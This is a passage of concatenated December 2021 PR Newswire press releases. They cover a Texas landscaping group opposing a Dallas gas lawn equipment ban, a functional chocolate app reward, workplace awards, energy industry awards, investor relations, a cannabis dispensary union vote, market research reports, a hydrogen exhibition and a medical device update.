www.teren4d.com. About Allos Ventures: Allos Ventures invests in early-stage technology companies, with a focus on B2B software companies at a Seed or Series A stage, augmenting the capital provided by seed and startup investors. In addition to the capital Allos provides, portfolio companies benefit from the extensive operating and business-building experience of the firm's managing partners, who make themselves available as needed to support each portfolio company's growth. Media Contact: Taryn Francissen BLASTmedia for Teren [email protected] 317-806-1900 ext. 176 SOURCE Teren CEDAR PARK, Texas, Dec. 15, 2021 /PRNewswire/ -- December 7th the City of Dallas Committee on Environment & Sustainability began consideration of a potential ban on gas-powered lawn equipment, a proposal which the Texas Nursery & Landscape Association (TNLA) believes will harm local businesses in the Texas green industry. It should be noted, the information presented by city staff included the facts that electric-powered equipment can average 3 times the cost of gas-powered equivalents, electric-powered equipment is not as effective or efficient, and a mandated change will place new hardships on businesses and their employees. TNLA President & CEO Amy Graham had the following comments: "In light of ongoing labor shortages and supply chain issues, we urge the City of Dallas to avoid creating new regulations to hurt small and minority-owned businesses. Any proposed ban on gas-powered lawn equipment would create government policy before adequate technology exists. The simple reality is electric-powered lawn equipment available for commercial operations costs more, does less, and functions for shorter periods of time. The Texas green industry is the primary driver in growing and improving urban green spaces to increase carbon recapture, filter air, and tackle urban heat islands. Our industry's products and services are the key to fighting climate change. TNLA's hope is the city council will plan on taking significant industry stakeholder input concerning these proposals and avoid harming these local businesses." According to the most recent study by Texas A&M University, the Texas green industry had over $3.8 billion in total sales in the Dallas MSA in 2020. Additionally, with over 57,000 jobs in the Dallas-Fort Worth area the green industry has an over $6.6 billion-dollar economic output into the local economy. The Texas Nursery & Landscape Association represents over 1,400 member companies across the State of Texas including growers, landscapers, and retailers in the City of Dallas. For more information, please contact Ryan Skrobarczyk with TNLA at [email protected] Contact: Ryan Skrobarczyk Phone: (512) 367-9922 Email: [email protected] SOURCE Texas Nursery & Landscape Association EVERGREEN, Colo., Dec. 15, 2021 /PRNewswire/ -- Brainy Chocolate, the newest offering from The Functional Chocolate Company is now a featured reward in Zeta Learning's Thunder Reward App . Thunder Reward is an innovative app that motivates students to achieve their goals in an engaging and rewarding way. Whether students are seeking to get better grades, discover their unique talents, or improve time management, Thunder Reward is designed to help. The app features unique and exciting rewards that are hand-picked to foster unique hobbies, spark new interests, and create the best environment in which students can thrive. Brainy Chocolate , the newest reward, features ethically sourced dark chocolate, ginkgo biloba, bacopa and rhodiola, paired with a proprietary blend of amino acids, omega 3 fatty acids and Chocamine, a patented cocoa-based ingredient that may help improve cognitive function. Now back in stock, Brainy Chocolate was the first Functional Chocolate product to sell out due to overwhelming demand during the back-to-school season. "Students deserve all the support they can get on their way to success," said Leina Zouitene, Founder and CEO of Zeta Learning Inc. "With the Thunder Reward app, it is critically important to us that we are offering rewards that our users will both enjoy and genuinely benefit from. We fully recognize and understand the fact that learning should be a multi-dimensional and personalized experience, so we really admire how Brainy Chocolate is formulated to help students with their studies in an innovative and holistic way. We are very excited to offer Brainy Chocolate as a reward to help further motivate our users." "The challenges that students face have grown in unexpected ways," explained Nicole Smith, CEO, The Functional Chocolate Company. "We formulated Brainy Chocolate as a sweet way to help students of all ages get the vitamins, minerals, amino acids and botanicals that they need to stay focused. Collaborating with the innovative team at Zeta Learning is an exciting opportunity for us to introduce the benefits of Functional Chocolate to students across the country." The Functional Chocolate Company offers chocolate with purpose. Ethically-sourced, vegan dark chocolate paired with nutraceuticals - vitamins, minerals, botanicals and amino acids helps address a variety of everyday health realities - from sleep to energy, stress to focus and much more. Other Products from The Functional Chocolate company include: For more information about Functional Chocolate or to set up an interview, please contact Graham Sorkin at [email protected] . About Zeta Learning: Zeta Learning applies cutting edge technology to learning. Our mission is to personalize learning, enabling faster, better and more efficient learning for everyone. Learn more at: http://www.zetalearning.com About The Functional Chocolate Company: Founded in 2020, The Functional Chocolate Company is headquartered in Evergreen, Colorado. We believe that treating your health should be a treat. With a team from consumer product development, confectionery, nutraceutical and nutrition backgrounds, we've learned that there is a better way to treat everyday health realities. Flexible, fully customizable individual boxes, subscriptions, and gift options are available at funcho.co , as well as popular retail locations . For wholesale inquiries, please contact [email protected] or find us on RangeMe , Faire & Abound . Supporting Resources: Download the Thunder Reward App . . Visit https://www.ithunderstand.com/ for more info about how Thunder Reward works and the benefits it offers for students for more info about how Thunder Reward works and the benefits it offers for students Follow Zeta Learning on Instagram-- https://www.instagram.com/ithunderstandapp Learn more about the science of Functional Chocolate on our blog -- https://funcho.co/blogs/articles Follow @FunctionalChoc on: SOURCE The Functional Chocolate Company TUSTIN, Calif., Dec. 15, 2021 /PRNewswire/ -- For the second year in a row The REMM Group has won a top 10 nationwide ranking in Best Places to Work Multifamily. It is the fifth year that The REMM Group has placed in the top 25 property management companies on the national list published by Multifamily Leadership. They again top the list for multifamily management companies in Southern California according to the rigorous research and interviews that determine winners. The REMM Group is number one Best Places to Work Multifamily for property management companies in Southern California. The REMM group placed 9th in the in the nationwide Top 50 Best Places to Work Multifamily and 13th in Best Places to work Multifamily for Women. The annual lists are published by Multifamily Leadership. The REMM Group is an award-winning third-party management company managing 47 apartment communities located in the Inland Empire and Orange, San Diego, and Los Angeles Counties. The multifamily industry serves apartment communities, contributing more than $3.4 trillion to the economy annually, supporting more than 17.5 million jobs. Patrick Antrim, Founder and CEO of Multifamily Leadership, says employee engagement is a powerful indicator of organizational success. Sara D'Elia, CEO of The REMM Group, said, "The residents in the 47 apartment communities we manage receive better service and have greater satisfaction because we create a positive corporate culture for our team members. By providing our associates with outstanding team support, tools, and training we improve their lives and the lives of those they serve. We see it in the rave reviews our communities receive and in increased resident retention." D'Elia added, "Our multifamily property owners appreciate that valued, dedicated management teams and happy residents provide economic benefits in the resultant high occupancy, low delinquency, fast make-ready, and low vacancy days. They also appreciate that they contribute to the Environmental, Social, Governance (ESG) value of the investment. The bottom line is that positive, engaged employees increase the ROI and ESG for the investor and increase our resident's quality of life." Christine Dales, COO of The REMM Group, said, "Our investments in the best and latest technological tools for multifamily management is also critical to creating an optimal work environment. These property management technologies save our teams time and frustration while providing added value to residents and owners. We partner with the companies that produce those technological tools, including Yardi, Knock and Respage, to make sure our employees receive the training that is essential to getting the most out of the tools." The REMM Group is an award winning IREM Accredited Real Estate Management Organization (AMO) located in Tustin, California. They provide lease-up and property management for multifamily, mixed-use, office, industrial, retail, and BTR properties in Southern California. For additional information contact Sara D'Elia at (714) 974-1010 x213, [email protected]. SOURCE The REMM Group PFORZHEIM, Germany and MUNICH, Dec. 15, 2021 /PRNewswire/ -- Pioneers and innovators in the energy sector deserve to be honored for the invaluable contribution they make to the industry and society as a whole. Europe's largest platform for the energy industry, The smarter E Europe which is taking place at Messe Munchen from May 1113, 2022 will do just that by presenting The smarter E AWARD, the Intersolar AWARD and the ees AWARD to the best innovations. Market leaders, SMEs, start-ups, and plant and system owners have until February 28, 2022, to submit their application for the renowned awards. The new energy world needs innovative products, services and business models if it is to meet the challenges of the next few decades and make the energy transition a success. This is motivating stakeholders in the new energy world to achieve outstanding feats. The smarter E in Munich pays tribute to the best accomplishments. The innovation hub focuses on renewable energies, the decentralization and digitalization of the energy industry, as well as cross-sector solutions linking electricity, heating and transportation for an intelligent and sustainable energy supply. By bringing together four exhibitions (Intersolar Europe, ees Europe, Power2Drive Europe and EM-Power Europe), Europe's largest platform for the energy industry, The smarter E Europe, acts as a meeting point for the industry's innovators. The smarter E AWARD, the Intersolar AWARD and the ees AWARD are presented at the three-day event. The awards recognize the most innovative players in the new energy world and the international media attention generated creates further impetus for future research and developments. The smarter E AWARD, Intersolar AWARD and ees AWARD In 2021, The smarter E Industry Days in June shone the spotlight on the best in the industry by presenting awards to ten companies for their innovations. The smarter E AWARD honors achievements in the areas of solar, energy storage, sustainable mobility and energy management in the Outstanding Projects category and is also presented to companies for concepts and products in the areas of sector coupling, Power-to-X, digitalization and grid infrastructure in the Smart Renewable Energy category. One of the 2021 winners in the Outstanding Projects category felt honored to receive The smarter E AWARD and believes that it will help to shape their company's future: "Winning The smarter E AWARD 2021 has put so much wind in our sails and has made us feel more empowered as we enter into discussions with politicians and stakeholders to raise awareness of our agrivoltaics solution," says Stephan Schindele, Head of Product Management Agri-PV at BayWa r.e. Along with two other companies, Commeo GmbH won the ees AWARD in the Electrical Energy Storage category. This award is presented to the most groundbreaking products and solutions for efficient, comprehensive energy storage. "We conducted in-depth research to ensure that our products meet our high standards. A prestigious award like the ees AWARD is not only great for our reputation and for marketing opportunities, but also acknowledges our employees' unrelenting commitment and effort," says Michael Schnakenberg, Managing Director of Commeo GmbH. The Intersolar AWARD is the solar industry's flagship award. In the Photovoltaics category, it is presented to companies that are making a huge contribution to renewable energy production with high-performance solar modules, cutting-edge cell technologies, enhanced inverters or unique substructures. In June 2021, LONGi Solar Technologie GmbH was among the winners of the innovation prize for its Hi-MO 5 PV modules: "We are proud to have won such a coveted award. In addition to endorsing our achievements so far, it has inspired us not to rest on our laurels, but to continue promoting the next generation of our product," says Winfried Wahl, Head of Product Marketing at LONGi Solar Technologie GmbH. Winners and finalists benefit from competitive advantages The awards pay tribute to innovations for the intelligent and above all sustainable supply, generation, storage, distribution and use of energy. The applications are assessed by an international panel of judges made up of industry experts. The most important evaluation criteria include the pioneering character, degree of innovation and uniqueness as well as the economic and environmental benefits. The finalists and winners enjoy increased reach and visibility as well as improvements to their reputation. The awards also help companies to stand out from the competition and gain new business opportunities. Further information on the awards, the general terms and conditions of participation, and how to apply is available here. Further information on the awards can be found at: www.TheSmarterE-award.com www.intersolar-award.com www.ees-award.com The smarter E "Creating a new energy world" This is the goal of The smarter E, the innovation platform for the energy industry. The focus is on renewable energies, decentralization, and digitalization of the energy industry as well as cross-sector solutions from the electricity, heat and transport sectors for a smart and sustainable energy supply. The smarter E brings together exhibitions and conferences on four continents to take an in-depth look at these topics: Intersolar is the world's leading exhibition for the solar industry and focuses on photovoltaics, solar thermal technologies, solar power plants. Since being founded more than 30 years ago, Intersolar has become the most important industry platform for manufacturers, suppliers, distributors, service providers project developers, planners, and start-ups of the solar industry. ees is the international exhibition for batteries and energy storage systems and brings together manufacturers, distributors, project developers, system integrators, professional users and suppliers of innovative battery technologies and sustainable solutions for storing renewable energies such as green hydrogen and Power-to-Gas applications. Power2Drive, the international exhibition for charging infrastructure and e-mobility, is the ideal meeting point for manufacturers, suppliers, installers, fleet and energy managers, distributors and start-ups. The exhibition shines the spotlight on charging systems, electric vehicles, traction batteries and mobility services as well as innovative solutions and technologies for sustainable mobility. EM-Power is the international exhibition for energy management and integrated energy solutions. It focuses on the efficient distribution and use of renewable energy as well as energy management in smart grids and microgrids. Other topics featured are the coupling of the electricity, heat and transportation sectors, grid infrastructure, energy services, operator models as well as climate neutral companies. For more information on The smarter E visit: www.TheSmarterE.com The smarter E AWARD, Intersolar AWARD and ees AWARD are organized by Solar Promotion International GmbH, Pforzheim and Freiburg Management and Marketing International GmbH (FMMI). Contact: Solar Promotion International GmbH | Postfach 100 170 | 75101 Pforzheim Antje Seeck | Tel.: +49 7231 58598-207 | Fax: +49 7231 58598-28 [email protected] Press: fischerAppelt, relations | Otl-Aicher-Str. 64 | 80807 Munchen Robert Schwarzenbock | Tel. +49 89 747466-23 | Fax +49 89 747466-66 [email protected] SOURCE The smarter E Europe DELRAY BEACH, Fla., Dec. 15, 2021 /PRNewswire/ -- UpHealth, Inc. ("UpHealth" or the "Company") (NYSE: UPH), a global digital health company delivering technology platforms, infrastructure and services to modernize care delivery and health management, has engaged international investor relations specialists MZ Group (MZ) to lead a comprehensive investor relations program. MZ Group will work closely with UpHealth management to develop and implement a comprehensive capital markets strategy designed to increase the Company's visibility throughout the investment community. The campaign will highlight how UpHealth is bringing highly integrated care delivery to support healthier individuals and communities worldwide. "2021 has been a milestone year for UpHealth with our transition to a public company, continued integration of our operations and new contracts in the U.S. and abroad that have accelerated growth," said Martin Beck, CFO of UpHealth. "We look forward to working with MZ Group to communicate the multiple avenues that will drive continued, sustained growth, building long-term value for our shareholders." MZ has a distinguished reputation as a premier resource for institutional investors, brokers, analysts and private investors. The firm maintains offices worldwide and was recently ranked No. 7 in the world in business communication. Shannon Devine, managing director at MZ North America, said, "UpHealth's unified platform delivers a 'One Stop Shop' for digital health enablement at the point of care in developed and developing markets. Each UpHealth business area and offering represents a unique group of assets with strategically selected digital health capabilities that address a global market need. MZ is confident in UpHealth's future, and we look forward to working with the Company." About UpHealth Inc. UpHealth is a global digital health company that delivers digital-first technology, infrastructure and services to dramatically improve how healthcare is delivered and managed. The UpHealth platform creates digitally enabled "care communities" that improve access and achieve better patient outcomes at lower cost, through digital health solutions and interoperability tools that serve patients wherever they are, in their native language. UpHealth's clients include global governments, health plans, healthcare providers and community-based organizations. For more information, please visit www.uphealthinc.com and follow us at @UpHealthInc on Twitter and UpHealth Inc on LinkedIn. About MZ Group MZ North America is the US division of MZ Group, a global leader in investor relations and corporate communications. MZ provides innovative, customized services to domestic and multinational private and public companies across all industries through a unique, fully-integrated "one-stop-shop" approach. By delivering a comprehensive suite of products and services through one point of contact, MZ offers services to all relevant markets geared to helping our clients build a sustainable public brand. MZ North America has a global footprint with offices located in New York, Chicago, San Diego, Aliso Viejo, Austin, Minneapolis, Taipei and Sao Paulo. For more information, please visit www.mzgroup.us. Forward-Looking Statements This press release contains forward-looking statements within the meaning of U.S. federal securities laws. Such forward-looking statements include, but are not limited to, the financial statements of UpHealth, its product offerings and developments and reception of its product by customers, and its expectations, hopes, beliefs, intentions, plans, prospects or strategies regarding the future revenue and the business plans of UpHealth's management team. Any statements contained herein that are not statements of historical fact may be deemed to be forward-looking statements. In addition, any statements that refer to projections, forecasts, or other characterizations of future events or circumstances, including any underlying assumptions, are forward-looking statements. The words "anticipate," "believe," "continue," "could," "estimate," "expect," "intends," "may," "might," "plan," "possible," "potential," "predict," "project," "should," "would" and similar expressions may identify forward-looking statements, but the absence of these words does not mean that a statement is not forward-looking. The forward-looking statements contained in this press release are based on certain assumptions and analyses made by the management of UpHealth in light of their respective experience and perception of historical trends, current conditions, and expected future developments and their potential effects on UpHealth as well as other factors they believe are appropriate in the circumstances. There can be no assurance that future developments affecting UpHealth will be those anticipated. These forward-looking statements involve a number of risks, uncertainties (some of which are beyond the control of the parties), or other assumptions that may cause actual results or performance to be materially different from those expressed or implied by these forward-looking statements, including the mix of services utilized by UpHealth's customers and such customers' needs for these services, market acceptance of new service offerings, the ability of UpHealth to expand what it does for existing customers as well as to add new customers, that UpHealth will have sufficient capital to operate as anticipated, and the impact that the novel coronavirus and the illness, COVID-19, that it causes, as well as government responses to deal with the spread of this illness and the reopening of economies that have been closed as part of these responses, may have on UpHealth's operations, the demand for UpHealth's products, global supply chains and economic activity in general. Should one or more of these risks or uncertainties materialize or should any of the assumptions being made prove incorrect, actual results may vary in material respects from those projected in these forward-looking statements. We undertake no obligation to update or revise any forward-looking statements, whether as a result of new information, future events, or otherwise, except as may be required under applicable securities laws. SOURCE UpHealth, Inc. ROMEOVILLE, Ill., Dec. 15, 2021 /PRNewswire/ -- Today, Cannabis Sales Consultants and Dispensing Inventory Specialists at the Verilife dispensary in Romeoville, Ill. voted overwhelmingly to join Teamsters Local 777. "We are elated that these workers at the Romeoville location have joined their brothers and sisters from Verilife of River North and Arlington Heights in becoming members of our Teamster family," said Jim Glimco, President of Local 777. "Workers who are the backbone of these companies are rising up and the momentum we have speaks for itself. Let it be known that no matter where you are in Illinois, the cannabis industry is a union industry." Verilife has opened eight dispensaries since Illinois implemented legalization, making it one of the fastest-growing cannabis companies in the state. Cannabis Sales Consultant Chris Smith and Dispensary Inventory Specialist Stephanie Moore were both part of the organizing drive at Verilife Romeoville. "I supported forming a union with the Teamsters because of the difference it will make in the cannabis industry for ALL workers," Smith said. "By forming a union with the Teamsters, we're writing history in this industry," Moore said. "This is a great opportunity to set ourselves and future generations up for amazing success!" Founded in 1937, Teamsters Local 777 represents workers in a wide variety of industries throughout the Chicago area. For more information, go to https://www.teamsters777.org/. Contact: Matt McQuaid, (202) 624-6877 [email protected] SOURCE Teamsters Local 777 DUBLIN, Dec. 13, 2021 /PRNewswire/ -- The "Digital Twin Market - Growth, Trends, COVID-19 Impact, and Forecasts (2021 - 2026)" report has been added to ResearchAndMarkets.com's offering. The global digital twin market was valued at USD 7.53 billion in 2020, and it is expected to reach a value of USD 46.08 billion by 2026, registering a CAGR of 35.01% over the forecast period, 2021 - 2026. The surge in adoption of 3D printing technology, increasing demand for digital twins in the healthcare and pharmaceutical industries, and the growing propensity toward the adoption of IoT solutions across various industries are anticipated to drive the adoption of such solutions during the forecast period. Key Highlights The promise of digital twins lies in improving collaboration and workflows across different types of groups, like product design, sales, and maintenance teams, and engineering disciplines. For example, the US Airforce has made extensive use of digital twins to design and build a new aircraft prototype in over a year, a process that traditionally drags on for decades. Further, IoT sensors have created a potential space for engineers to test and communicate with sensors integrated with the operating products, hence delivering real-time prescriptive system functioning and timely maintenance. Additionally, digital twins technology helps in improving physical product design for the entire product lifecycle through pre-analysis of the actual product in its development stage. In industrial internet of things (IIoT), digital twin technology find out error and changes of large machinery equipment through its analytic software connected with IoT components such as smart sensors and networks. The tools for building digital twins are growing in power and sophistication. It is now possible to design complex what-if simulations, backtrack from detected real-world conditions, and perform millions of simulation processes without overwhelming systems. Further, with the number of vendors increasing, the range of options continues to grow and expand. Moreover, data from real-time asset monitoring technologies such as LIDAR (light detection and ranging) and FLIR (forward-looking infrared) can now be incorporated into digital twin simulations. The outbreak of covid-19 has provided a new application opportunity for the market, which stands for the market growth adoption. The digital twin technology is gathering momentum in health care diagnosis. Digital twins are upending traditional health care by modeling conditions and attributes of a particular patient using machine learning data aggregated from a variety of patients. The market growth is also expected with various partnerships and acquisitions driven recently. In June 2021 , Waylay announced that it has partnered with the top-tier Salesforce Implementation Partners for Waylay Digital Twin, its powerful no-code IoT asset monitoring solution for Salesforce. The selected implementation partners boost consulting and implementation capacity and bring decades of Salesforce expertise to the Waylay Digital Twin projects. Key Market Trends Surge in Adoption of 3D Printing Technology in Manufacturing Anticipated to Fuel the Demand 3D printing technology has already brought revolutionary changes in the manufacturing industry through its fast model building capability and flexible printing materials. With the introduction of digital twin technology, the advantage of 3D printing has gone even more ahead in various manufacturing industries such as automotive, aerospace, medical and utility industries. Vendors in the market, are involved in partnerships and collaborations to integrate their 3D printing capability with digital twin technology, where they are targeting to lower the production and manufacturing cost through pre-testing and predictive analysis of goods. Using software such as Netfabb and Siemens NX, manufacturers can carry out simulations and tests on the digital twin and eliminate the need for multiple physical prototypes. Using sensor data, manufacturers can track and trace the conditions inside the 3D printer making a part. With every new layer and source of data, the digital twin becomes more complete. Digital twins can also be used for the creation of 3D printers themselves. For instance, Siemens helped HP create a digital twin of its Jet Fusion 5200 3D printer to help simulate airflow patterns through the machine. The data generated allowed HP to optimize its cooling channel topology for ideal ventilation. Several developed and developing nations are focused on leveraging their 3D printing adoption with the implementation of digital twin technology. The US, China , Japan , China , Germany , and the UK are some of the major countries adopting this technology with their existing base of the 3D printing industry. North America to Witness Significant Market Share The IoT industry in aerospace, automotive, and manufacturing is mainly dominated by North America . This region has developed economies such as the US and Canada , where massive investments are found in R&D activities, thus contributing to the development of new technologies such as smart sensors, edge analytics, 3D printing, and digital twin. . This region has developed economies such as the US and , where massive investments are found in R&D activities, thus contributing to the development of new technologies such as smart sensors, edge analytics, 3D printing, and digital twin. While manufacturing has begun to embrace digital twin technology, construction remains largely a 2D industry and one that hungers for technological innovation. With 3D visual digital twin technology, off-site experts now have access to on-site views into the nitty-gritty of projects - taking off where Google street view ends. Recently, in June 2021 , Cupix announced the availability of CupixWorks 2.0, a major update to its leading product, CupixWorks. CupixWorks 2.0 is the industry's most advanced 3D digital twin platform, enabling building owners, general contractors, and project managers to build smarter, transforming any construction site into an easy-to-manage project, creating value across the entire life cycle of a property. , Cupix announced the availability of CupixWorks 2.0, a major update to its leading product, CupixWorks. CupixWorks 2.0 is the industry's most advanced 3D digital twin platform, enabling building owners, general contractors, and project managers to build smarter, transforming any construction site into an easy-to-manage project, creating value across the entire life cycle of a property. Further, it has been expected that increased demand for digital twins by owners and operators of buildings and infrastructure will create new market opportunities for digital technologies and digitization of the AEC industry. Autodesk has been on a tear, expanding its support for digital twins across the building industry. For starters, Autodesk launched Tandem, a digital twin platform that promises to connect the dots between project owners and architectural, engineering, and contracting (AEC) teams. Companies Mentioned ANSYS, Inc. Cal-Tek SRL Cityzenith Inc. General Electric Company IBM Corporation Lanner Group Limited (Royal Haskoning DHV) Mevea Ltd. Microsoft Corporation Rescale, Inc. SAP SE For more information about this report visit https://www.researchandmarkets.com/r/y1rl13 Media Contact: Research and Markets Laura Wood, Senior Manager [email protected] For E.S.T Office Hours Call +1-917-300-0470 For U.S./CAN Toll Free Call +1-800-526-8630 For GMT Office Hours Call +353-1-416-8900 U.S. Fax: 646-607-1907 Fax (outside U.S.): +353-1-481-1716 SOURCE Research and Markets Related Links http://www.researchandmarkets.com DUBLIN, Dec. 15, 2021 /PRNewswire/ -- The "Methicillin-Resistant Staphylococcus Aureus Drugs Market Research Report by Drug Class, MOA, Drug Origin, and Region - Global Forecast to 2026 - Cumulative Impact of COVID-19" report has been added to ResearchAndMarkets.com's offering. The Global Methicillin-Resistant Staphylococcus Aureus Drugs Market size was estimated at USD 1,542.93 million in 2020, is expected to reach USD 1,623.64 million in 2021, and projected to grow at a CAGR of 5.56% reaching USD 2,135.87 million by 2026. Market Statistics The report provides market sizing and forecast across five major currencies - USD, EUR GBP, JPY, and AUD. It helps organization leaders make better decisions when currency exchange data is readily available. In this report, the years 2018 and 2019 are considered historical years, 2020 as the base year, 2021 as the estimated year, and years from 2022 to 2026 are considered the forecast period. Competitive Strategic Window The Competitive Strategic Window analyses the competitive landscape in terms of markets, applications, and geographies to help the vendor define an alignment or fit between their capabilities and opportunities for future growth prospects. It describes the optimal or favorable fit for the vendors to adopt successive merger and acquisition strategies, geography expansion, research & development, and new product introduction strategies to execute further business expansion and growth during a forecast period. FPNV Positioning Matrix The FPNV Positioning Matrix evaluates and categorizes the vendors in the Methicillin-Resistant Staphylococcus Aureus Drugs Market based on Business Strategy (Business Growth, Industry Coverage, Financial Viability, and Channel Support) and Product Satisfaction (Value for Money, Ease of Use, Product Features, and Customer Support) that aids businesses in better decision making and understanding the competitive landscape. Market Share Analysis The Market Share Analysis offers the analysis of vendors considering their contribution to the overall market. It provides the idea of its revenue generation into the overall market compared to other vendors in the space. It provides insights into how vendors are performing in terms of revenue generation and customer base compared to others. Knowing market share offers an idea of the size and competitiveness of the vendors for the base year. It reveals the market characteristics in terms of accumulation, fragmentation, dominance, and amalgamation traits. Company Usability Profiles The report profoundly explores the recent significant developments by the leading vendors and innovation profiles in the Global Methicillin-Resistant Staphylococcus Aureus Drugs Market, including Allergan, AmpliPhi Biosciences Corporation, Basilea Pharmaceutica, Baxter International, Debiopharm Group, KYORIN Pharmaceutical Co. Ltd., Melinta Therapeutics, Merck, Pfizer, and Theravance Biopharma. The report provides insights on the following pointers: 1. Market Penetration: Provides comprehensive information on the market offered by the key players 2. Market Development: Provides in-depth information about lucrative emerging markets and analyze penetration across mature segments of the markets 3. Market Diversification: Provides detailed information about new product launches, untapped geographies, recent developments, and investments 4. Competitive Assessment & Intelligence: Provides an exhaustive assessment of market shares, strategies, products, certification, regulatory approvals, patent landscape, and manufacturing capabilities of the leading players 5. Product Development & Innovation: Provides intelligent insights on future technologies, R&D activities, and breakthrough product developments The report answers questions such as: 1. What is the market size and forecast of the Global Methicillin-Resistant Staphylococcus Aureus Drugs Market? 2. What are the inhibiting factors and impact of COVID-19 shaping the Global Methicillin-Resistant Staphylococcus Aureus Drugs Market during the forecast period? 3. Which are the products/segments/applications/areas to invest in over the forecast period in the Global Methicillin-Resistant Staphylococcus Aureus Drugs Market? 4. What is the competitive strategic window for opportunities in the Global Methicillin-Resistant Staphylococcus Aureus Drugs Market? 5. What are the technology trends and regulatory frameworks in the Global Methicillin-Resistant Staphylococcus Aureus Drugs Market? 6. What is the market share of the leading vendors in the Global Methicillin-Resistant Staphylococcus Aureus Drugs Market? 7. What modes and strategic moves are considered suitable for entering the Global Methicillin-Resistant Staphylococcus Aureus Drugs Market? Key Topics Covered: 1. Preface 2. Research Methodology 3. Executive Summary 4. Market Overview 4.1. Introduction 4.2. Cumulative Impact of COVID-19 5. Market Dynamics 5.1. Introduction 5.2. Drivers 5.2.1. Increased prevalence of global infections and demand for novel therapies 5.2.2. Growing awareness about a bacterial infection 5.2.3. Increase in immuno-compromised population 5.3. Restraints 5.3.1. Lack of systematic surveillance for MRSA infection in developing countries 5.3.2. High cost of novel MRSA drugs and hospital readmissions reduction program 5.4. Opportunities 5.4.1. Rise in research activities to develop novel MRSA drugs by key players and support by government initiatives 5.4.2. Rising product launches and approvals 5.4.3. Unmet need for the MRSA infection 5.5. Challenges 5.5.1. Introduction of low-cost generic drugs 6. Methicillin-Resistant Staphylococcus Aureus Drugs Market, by Drug Class 6.1. Introduction 6.2. Cephalosporin 6.3. Folate Antagonist 6.4. Lipoglycopeptide 6.5. Lipopeptides 6.6. Oxazolidinone 6.7. Tetracycline 7. Methicillin-Resistant Staphylococcus Aureus Drugs Market, by MOA 7.1. Introduction 7.2. Bactericidal Drugs 7.3. Bacteriostatic 8. Methicillin-Resistant Staphylococcus Aureus Drugs Market, by Drug Origin 8.1. Introduction 8.2. Semisynthetic 8.3. Synthetic Drugs 9. Americas Methicillin-Resistant Staphylococcus Aureus Drugs Market 9.1. Introduction 9.2. Argentina 9.3. Brazil 9.4. Canada 9.5. Mexico 9.6. United States 10. Asia-Pacific Methicillin-Resistant Staphylococcus Aureus Drugs Market 10.1. Introduction 10.2. Australia 10.3. China 10.4. India 10.5. Indonesia 10.6. Japan 10.7. Malaysia 10.8. Philippines 10.9. Singapore 10.10. South Korea 10.11. Taiwan 10.12. Thailand 11. Europe, Middle East & Africa Methicillin-Resistant Staphylococcus Aureus Drugs Market 11.1. Introduction 11.2. France 11.3. Germany 11.4. Italy 11.5. Netherlands 11.6. Qatar 11.7. Russia 11.8. Saudi Arabia 11.9. South Africa 11.10. Spain 11.11. United Arab Emirates 11.12. United Kingdom 12. Competitive Landscape 12.1. FPNV Positioning Matrix 12.1.1. Quadrants 12.1.2. Business Strategy 12.1.3. Product Satisfaction 12.2. Market Ranking Analysis 12.3. Market Share Analysis, by Key Player 12.4. Competitive Scenario 12.4.1. Merger & Acquisition 12.4.2. Agreement, Collaboration, & Partnership 12.4.3. New Product Launch & Enhancement 12.4.4. Investment & Funding 12.4.5. Award, Recognition, & Expansion 13. Company Usability Profiles 13.1. Allergan 13.2. AmpliPhi Biosciences Corporation 13.3. Basilea Pharmaceutica 13.4. Baxter International 13.5. Debiopharm Group 13.6. KYORIN Pharmaceutical Co. Ltd. 13.7. Melinta Therapeutics 13.8. Merck 13.9. Pfizer 13.10. Theravance Biopharma 14. Appendix For more information about this report visit https://www.researchandmarkets.com/r/bgg0vd Media Contact: Research and Markets Laura Wood, Senior Manager [email protected] For E.S.T Office Hours Call +1-917-300-0470 For U.S./CAN Toll Free Call +1-800-526-8630 For GMT Office Hours Call +353-1-416-8900 U.S. Fax: 646-607-1907 Fax (outside U.S.): +353-1-481-1716 SOURCE Research and Markets Related Links http://www.researchandmarkets.com SEOUL, South Korea, Dec. 14, 2021 /PRNewswire/ -- The Hydrogen Mobility + Show Organizing Committee (Chairman Jeong Man-ki, Chairman of the Korea Automobile Industry Association) will hold the '2022 Hydrogen Mobility + Show' at KINTEX, South Korea, from August 31 (Wed) to September 3 (Sat), 2022. The organizing committee confirmed the next event early in consideration of the importance of carbon neutrality, business exchanges at the '2021 Hydrogen Mobility + Show', and international interest. Currently, applications for exhibitors are being accepted on the Hydrogen Mobility + Show website, and about 20 companies have already completed their applications to participate in the exhibition. In the next event, the participation of hydrogen-related companies and institutions in Europe, a leading region in the eco-friendly energy field, is expected to be strengthened. To this end, the organizing committee signed an agreement for hydrogen industry exchange with GL events, a French company, global leader in MICE sector, in Paris, France in November. GL events is also the organizer of the French Hydrogen Industry Exhibition, held in October, HyVolution. The signing ceremony was held with the participation of Jeong Man-ki, chairman of the organizing committee, and Pierre Buchou, HyVolution event manager, from GL events. Under the premise that international cooperation is essential for the development of the hydrogen industry, international cooperation is needed to complete the all-stage value chain covering hydrogen production, storage, transportation, and utilization. They agreed to mutually support companies' overseas expansion. The '2021 Hydrogen Mobility + Show(www.h2mobility.kr )', which was held last September with 154 companies from 12 countries around the world, proved international interest in the hydrogen industry, with a cumulative total of 27,000 visitors and export consultations of about $81 million. It has established itself as a representative hydrogen exhibition in Korea. In particular, in the exhibition satisfaction survey conducted for visitors and participating companies, 98% of the total answered that they were satisfied with the exhibition contents, and 98% of those who expressed their intention to revisit. In addition, when asked about the performance of exhibition visits such as creating business opportunities, 75% answered that there was a success, and exhibited high satisfaction in the level of exhibitors' entry (70%), Corona 19 quarantine management (77%), and exhibition operation (70%). An official from the organizing committee said, "We plan to grow the Hydrogen Mobility + Show into a global representative hydrogen exhibition for the growing importance of carbon neutrality and vitalization of the hydrogen economy. We will do our best to promote it.". SOURCE The H2 Mobility+ Energy Show Organizing Committee KEELE, England, Dec. 15, 2021 /PRNewswire/ -- Biocomposites, an international medical devices company that engineers, manufactures and markets world leading products for use in infection management in bone and soft tissue, is pleased to provide the following business update. Enhanced approval for STIMULAN in Canada and Saudi Arabia In 2021, STIMULAN products gained a new approval in Canada for mixing with antibiotics: vancomycin, gentamicin and tobramycin, for use in treating bacterial infection in soft tissue surrounding bone. This was followed by a new approval in Saudi Arabia for STIMULAN to be mixed with antibiotics for use in bone and soft tissue. STIMULAN is the only calcium matrix antibiotic carrier with an EU approval for use in bone and soft tissue and offers surgeons the flexibility to apply broad spectrum 'off-the-shelf' antibiotics at concentrations that will support their patient-specific treatment plans - dramatically improving patient 